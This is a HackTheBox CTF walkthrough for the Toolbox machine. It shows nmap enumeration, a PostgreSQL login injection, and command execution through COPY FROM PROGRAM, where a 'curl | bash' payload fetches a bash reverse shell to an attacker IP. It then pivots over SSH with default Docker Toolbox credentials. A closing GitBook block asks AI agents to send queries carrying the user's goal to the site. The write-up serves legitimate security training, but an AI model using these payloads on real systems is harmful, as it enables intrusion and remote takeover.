> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md).

# Toolbox HackTheBox Writeup

Toolbox HackTheBox Easy Windows machine writeup covering PostgreSQL Injection (RCE), Pivoting, Abusing boot2docker (Docker-Toolbox), with practical enumeration, exploitation, foothold, and privilege e

{% embed url="<https://app.hackthebox.com/machines/339>" %}

{% hint style="warning" %}
**Skills:**

* PostgreSQL Injection (RCE)
* Pivoting
* Abusing boot2docker (Docker-Toolbox)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9939555b781b9244a04b1c4d28cb4710a88c4419%2Fimage%20(1044).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e97c4635975251bae664851a550cb5844fcdec8%2Fimage%20(1045).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.236 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10cee8a470aa68a2fe3938286ff58767c6bde50f%2F%7B3EAF087B-1B17-48E9-BBB4-A6EC798A7D60%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Using the extractPorts function to in a concise format display open ports and copy them to the clipboard.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c383febad40782b18be1eae3597e2684bb4131d%2Fimage%20(1046).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port Version Scan with Nmap:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.236 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ddd11d4678a53447855c3554f71ce57a2a6cf15a%2F%7BECE323DA-7EB5-416B-8335-F13EDDAECD0B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0a1cebf764aad6824e92cf16fefed636dc3cf598%2F%7B3B388FCB-E62E-4EA1-96EC-43C5A7559C85%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **Port 21 (FTP)**

The FTP port is accessible with the user `anonymous`. There is a file called `docker-toolbox.exe`. This file could provide clues on possible Docker operation.

{% hint style="info" %}
Docker-Toolbox is a set of tools used to manage Docker containers on older or non-Docker Desktop environments.
{% endhint %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92ae23e2707299aa375f8964dc145111f189d27c%2Fimage%20(1047).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **Port 443 (HTTPS)**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f8628eb1b934470879464835da9dc7d8c682fdf%2F%7B935D2D22-2222-4690-9FE7-B3438E85F2A0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Possible users:**

* Christine Rooster
* Brandon Sharp
* Connor Hodson

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de8378a9309e0b327e5433a0a2ffccccf23db800%2F%7BB9CBC96F-6AEC-444D-8843-C0A90020E1B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

After investigation, the hosted site offers an administration panel accessible via `admin.megalogistic.com`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a85849870ff2533bdac783bb7091b34cbad08f6%2F%7B0F089FC8-BDAE-4B9F-8623-DEBCFAAA9D87%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability PostgreSQL Injection:

{% hint style="info" %}
PostgreSQL is a powerful, open source, relational database management system that can safely support the most complex data workloads.
{% endhint %}

When submitting these credentials:

```sql
username: '
password: '
```

A SQL error appears, indicating a PostgreSQL backend using `pg_query`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a35ec7893cc46ca1ec1213bb51dd2cdfbc50f18%2F%7BAC8CAE76-3B57-4888-B929-D7142B0ABC88%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Exploitation**

Test a classic injection payload:

```vbnet
username: ' OR 1=1-- -  
password: anything
```

We get access to the Dashboard admin panel.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f833b041802dd5d1849f6f578350fd5a83f65f9%2F%7BB5732733-7A5A-4533-A5EB-165C5D0D4085%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Intercept queries with **Burp Suite** and use resources like **HackTricks** to adjust injections.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3bd0b7b37fcac659909a0f8b8b0e971e3e28083%2F%7B255A6A53-EE6A-4BA4-B3EA-EB9D3732C747%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection>" %}

#### To test if the injection allows the execution of commands, use:

`;select pg_sleep(10);-- -`

If the response delays 10 seconds, the injection is usable.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d92277c8be125ee7fe8c17cdc13d82c95553d808%2Fimage%20(1048).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Order execution**

Here is an example of how to get an online order:

```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
```

Create a `index.html` file containing:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```

Run an HTTP server:

```bash
python3 -m http.server 80
```

Configure a listener:

```bash
nc -nvlp 443
```

Envoyez le payload :

```sql
username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d
username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d
username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05cf300dddf00dd238ffc191e3d0e4bd5dd83f7a%2Fimage%20(1049).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Terminal Stabilization**

To make the shell interactive and comfortable:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Stabilize the shell for more comfortable work. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Privilege raising:

### Pivoting Docker

{% hint style="info" %}
During the recognition phase, we identified that our Windows machine was not directly accessible. However, we were able to connect to a Windows machine contained in a Docker container, with the IP address `172.17.0.2` and the `172.17.0.1` gateway. We will now try to rotate via this container to climb our privileges.
{% endhint %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c13597f6d389972474e5c331a84314b604470a6%2F%7B3258557B-B4F2-4243-A48E-27558C95013C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c116a18718773902912edfa5840b85cc0adbfb2%2Fimage%20(1039).png?alt=media" alt=""><figcaption></figcaption></figure>

### **SSH port verification**

First, we need to check whether the SSH (22) port is open on the Docker gateway (172.17.0.1). We use a simple order for this:

```bash
echo ' ' > /dev/tcp/172.17.0.1/22 && echo "[+] SSH Open" || echo "[-] SSH Closed"
```

Port 22 is open, which means we can try a SSH connection to the machine in the container.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fa8c5e81828eec484c93464c56b38630e6afc268%2F%7BEAD9A15E-3058-4E82-9767-81350E98F8C8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Log in with the default Docker Toolbox credentials**

The default IDs for Docker Toolbox are:

* **User**: `docker`
* **Password**: `tcuser`

We now try to connect to the container via SSH using this information. Once connected to the machine, we notice that we have access to the root of the container with user `docker`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-784e89bfe8ef2386d00d5d9c5d6b7d66ce77a11e%2Fimage%20(1040).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Exploration of the file system**

In the root directory we find a folder named **c**, which contains a subfolder **users**. Inside **users** there is a **Desktop** folder belonging to the user **Administrator**. This may mean that the user `docker` has sufficient privileges to access sensitive data from the user **Administrator**, which is a good track for increasing privileges.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f07ac8d588a6c45917bce096c2ad39d42c587b5%2Fimage%20(1042).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

#### **Search `user.txt` (user flag)**

We will now look for the `user.txt` file, which is often used to mark a user's successful access to a machine. Let's use the following command to search for this file throughout the file system:

```bash
find / -name user.txt 2>/dev/null
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1781ff987062bf73f75f145a7b38e274cb7e438e%2Fimage%20(1043).png?alt=media" alt=""><figcaption></figcaption></figure>

We locate the **user.txt** file in an accessible directory, which gives us a first sign of success in our operation.

### Flag root.txt :)

Once the user flag is found, we look for the **root.txt** file, which is usually located in the user directory **Administrator**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef038fa88adc7c948eac381e38b9d8eae1a498ab%2Fimage%20(1041).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a2ae0bf71c1f3092316d1fe42c15b1120ad4c8d7%2F%7B536D8379-3FDC-4541-B34A-A41A519D2613%7D.png?alt=media" alt="" width="545"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
